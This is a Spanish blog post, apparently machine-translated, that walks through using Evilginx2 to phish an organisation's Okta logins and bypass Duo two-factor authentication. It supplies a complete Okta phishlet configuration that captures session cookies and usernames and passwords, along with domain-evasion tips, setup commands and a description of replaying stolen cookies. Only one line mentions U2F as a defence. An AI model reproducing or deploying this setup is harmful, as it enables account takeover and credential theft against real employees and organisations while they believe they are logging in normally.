Hola a todos!
Hay momentos en que necesita registrarse para alguien. Ocurre cuando la organización de destino se configura con un segundo factor para la autenticación: sms, Google autenticator, Duo. ¿Qué hacer en tales casos? Contratar gopnik? ¿Cortar los teléfonos a los empleados? No! Resulta que los hackers astutos han escrito software que puede ayudar en esta difícil situación.
Evilginx2 es un marco de phishing que funciona como un proxy entre la víctima y el sitio, del que queremos recibir cuentas. Anteriormente, usaba nginx personalizado, pero ahora está completamente reescrito en Go, incluye mini servidores HTTP y DNS, lo que simplifica enormemente la instalación y la implementación.
Como funciona El autor del software descrito en detalle en su sitio web, los detalles sobre la instalación y la configuración se pueden encontrar en la página del proyecto github . ¿Por qué es posible eludir el segundo factor? El truco es que no interferimos con el proceso de ingresar el código desde SMS / contraseña temporal / push desde DUO. Estamos esperando silenciosamente que el usuario complete con éxito todos los pasos de autenticación, capture su cookie y ya la use para iniciar sesión. En el camino, por si acaso recopilamos su nombre de usuario y contraseña. En la misma nota, hablaré sobre mi experiencia y las dificultades que encontré.
Desafío
Por lo tanto, necesitamos registrar una oficina que use activamente Okta como inicio de sesión único. Como segundo factor, se utiliza Duo , una solución cuyo chip en el cliente móvil le permite confirmar el segundo factor a través de notificaciones push regulares en lugar de ingresar códigos de 35 dígitos (hola Google Authenticator). Empecemos
Paso uno: registre un dominio de phishing
En el panel de nuestro proveedor, especifique la dirección del servidor en el que se ubicará el phishing. También registramos un subdominio de la forma okta.< >.com .
Paso dos: configurar Evilginx
Iniciamos Evilginx y a través del comando config ingresamos las configuraciones necesarias. Indicamos el dominio principal (no un subdominio) y su IP.
config domain < >.com config ip 10.0.0.1
Como resultado, la configuración se ve así:
El parámetro redirect_url es interesante aquí: indica dónde redirigir la solicitud cuando el cliente llegó a la raíz de nuestro dominio. ¿Por qué se hace esto? Si proporciona una página de suplantación de identidad (phishing) desde la raíz, el dominio se calcula muy rápidamente y se agrega a la lista de sitios peligrosos, los navegadores maldecirán y los usuarios nunca nos contactarán. Por lo tanto, lo daremos a través de un enlace único, y la raíz redirigirá a la canción Never Gonna Give You Up.
Paso tres: configura una página de phishing
Aquí comienza la diversión. Dado que, de hecho, en nuestro servidor no alojamos ningún contenido, sino solo solicitudes aproximadas, debemos "decirle" a Evilginx exactamente qué datos queremos recibir. Esta "historia" la escribimos en un formato especial. Su documentación está disponible en la página wiki del proyecto. Estas descripciones de phishlets se llaman. Para algunos servicios populares: facebook, linkedin, amazon, ya están escritos e incluidos en la distribución. Fuimos menos afortunados, Okta no fue compatible, pero la gente amable escribió un phishlet para la versión anterior. Tomamos un archivo y comenzamos a soldar.
Complete la descripción, especifique el nombre de phishlet, los autores y la versión requerida de Evilginx.
name: 'okta' author: '@ml_siegel, updated by @hollow1' min_ver: '2.2.0'
Indicamos en qué dominio vamos a pescar. En nuestro caso, < >.okta.com un dominio de la forma < >.okta.com .
proxy_hosts: - {phish_sub: '', orig_sub: '< >', domain: 'okta.com', session: true, is_landing: true}
El parámetro de session indica que es este dominio el que proporciona las cookies que necesitamos y las credenciales se transfieren allí, is_landing significa que este host se utilizará para generar URL de phishing.
El siguiente paso importante es identificar todas las solicitudes al dominio de destino para que los servidores proxy las reescriban con éxito en el dominio de phishing. Si no se hace esto, el usuario no nos enviará datos, sino inmediatamente al dominio original, y no capturaremos ninguna cuenta. Vuelva a escribir solo aquellas solicitudes que estén directamente involucradas en el proceso de inicio de sesión del usuario en el sitio.
Para comprender claramente lo que se requiere para una autenticación exitosa, debe estudiar cuidadosamente este mismo proceso. Armados con Burp y cuentas de prueba, comenzamos a buscar cómo se transmite la contraseña y por qué cookies la aplicación determina el usuario autorizado. También estamos buscando respuestas del servidor que contengan enlaces al dominio original.
Encontramos una solicitud en la que se transmiten el nombre de usuario y la contraseña. Vemos que se envía al dominio original, pero debemos dejarnos.
Aquí puede ver cómo el dominio original representa los enlaces dentro de JavaScript, deben reescribirse.
Después de recopilar esto y un par de solicitudes más, obtenemos la siguiente configuración:
sub_filters: - {triggers_on: '< >.okta.com', orig_sub: '< >', domain: 'okta.com', search: 'https://{hostname}/api', replace: 'https://{hostname}/api', mimes: ['text/html', 'application/json']} - {triggers_on: 'login.okta.com', orig_sub: 'login', domain: 'okta.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json']} - {triggers_on: '< >.okta.com', orig_sub: '', domain: '< >.okta.com', search: 'https\\x3A\\x2F\\x2F{hostname}', replace: 'https\x3A\x2F\x2F{hostname}', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']} - {triggers_on: '< >.okta.com', orig_sub: '', domain: '< >.okta.com', search: '\\x2Fuser\\x2Fnotifications', replace: 'https\x3A\x2F\x2F< >.okta.com\x2Fuser\x2Fnotifications', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']}
La palabra clave {hostname} solo se usa para reemplazar el dominio original por uno de phishing. Lea más sobre la sintaxis de esta sección aquí .
Recuerde, necesitamos cookies con las que iniciaremos sesión en el sitio. A través de prueba y error, descubrimos el nombre de la cookie - sid , y lo agregamos a la configuración:
auth_tokens: - domain: '< >.okta.com' keys: ['sid']
El nombre de usuario y la contraseña del usuario también nos son útiles, ya hemos encontrado la solicitud en la que se transmiten. Como puede ver en la solicitud, los parámetros de username y password que necesitamos se pasan a json, agregamos:
credentials: username: key: 'username' search: '"username":"([^"]*)' type: 'json' password: key: 'password' search: '"password":"([^"]*)' type: 'json'
Entonces Evilginx podrá aislarlos de las consultas y guardarlos correctamente.
Queda poco. Especifique la URL de la página de inicio de sesión en el dominio de destino.
landing_path: - '/login/login.htm'
Indicaremos la URL por la cual entenderemos que el usuario ha iniciado sesión correctamente.
auth_urls: - 'app/UserHome'
Eso es todo! Configuración completa:
name: 'okta' author: '@ml_siegel, updated by @hollow1' min_ver: '2.2.0' proxy_hosts: - {phish_sub: '', orig_sub: '< >'', domain: 'okta.com', session: true, is_landing: true} sub_filters: sub_filters: - {triggers_on: '< >.okta.com', orig_sub: '< >', domain: 'okta.com', search: 'https://{hostname}/api', replace: 'https://{hostname}/api', mimes: ['text/html', 'application/json']} - {triggers_on: 'login.okta.com', orig_sub: 'login', domain: 'okta.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json']} - {triggers_on: '< >.okta.com', orig_sub: '', domain: '< >.okta.com', search: 'https\\x3A\\x2F\\x2F{hostname}', replace: 'https\x3A\x2F\x2F{hostname}', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']} - {triggers_on: '< >.okta.com', orig_sub: '', domain: '< >.okta.com', search: '\\x2Fuser\\x2Fnotifications', replace: 'https\x3A\x2F\x2F< >.okta.com\x2Fuser\x2Fnotifications', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']} - domain: '< >.okta.com' keys: ['sid'] credentials: username: key: 'username' search: '"username":"([^"]*)' type: 'json' password: key: 'password' search: '"password":"([^"]*)' type: 'json' landing_path: - '/login/login.htm' auth_urls: - 'app/UserHome'
okta.yaml como okta.yaml en /usr/share/evilginx/phishlets .
Paso cuatro: habilite nuestro nuevo phishing
Ejecute evilginx y escriba un comando
phishlets hostname okta okta.< >.com
Enciende el phishlet.
phishlets enable okta
Se le crea automáticamente un certificado de LetsEncrypt.
Verifique la configuración:
Indicamos dónde redirigiremos al usuario después de una autorización exitosa
phishlets get-url okta https://< >.okta.com/
La aplicación proporcionará un enlace que debe enviarse a los usuarios, en la forma https://< >.com/login/login.htm?rb=9ffe&ec=< >
Paso 4 - esperando la captura
Enviamos cartas (tecnologías de correo - material para un artículo separado) y esperamos.
Un usuario débil y confiado sigue el enlace e inicia sesión. Lo vemos así:
Todas las cuentas capturadas se suman a las sesiones. Seleccione el deseado y copie las cookies de él:
Abra el navegador, sustituya las cookies y listo, estamos dentro:
Epílogo
Evilginx simplifica enormemente la creación de páginas de phishing, especialmente para 2FA. Además, estas páginas se almacenan convenientemente y se comparten con amigos. Formas de protección: el uso de dispositivos estándar U2F , la transición a nuevos métodos de autenticación.
¿Qué opinas sobre el enfoque descrito? ¿Cómo coleccionas cuentas?